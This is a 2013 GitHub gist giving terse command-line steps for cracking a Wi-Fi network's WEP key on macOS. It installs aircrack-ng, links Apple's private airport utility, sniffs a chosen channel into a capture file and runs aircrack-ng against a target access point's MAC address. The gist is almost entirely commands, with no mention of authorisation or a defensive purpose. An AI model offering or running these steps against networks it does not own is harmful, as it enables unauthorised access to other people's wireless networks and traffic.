-
-
Save verbaleks/761556ec1bdb76757133ce7c329a3917 to your computer and use it in GitHub Desktop.
Revisions
-
victorreyesh created this gist
Sep 12, 2013 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,13 @@ //Install Macports. //Install aircrack-ng: sudo port install aircrack-ng //Install the latest Xcode, with the Command Line Tools. //Create the following symlink: sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport //Figure out which channel you need to sniff: sudo airport -s sudo airport en1 sniff [CHANNEL] //New Terminal Window aircrack-ng -1 -a 1 -b [TARGET_MAC_ADDRESS] [CAP_FILE] // Notes: the cap_file will be located in the /tmp/airportSniff*.cap.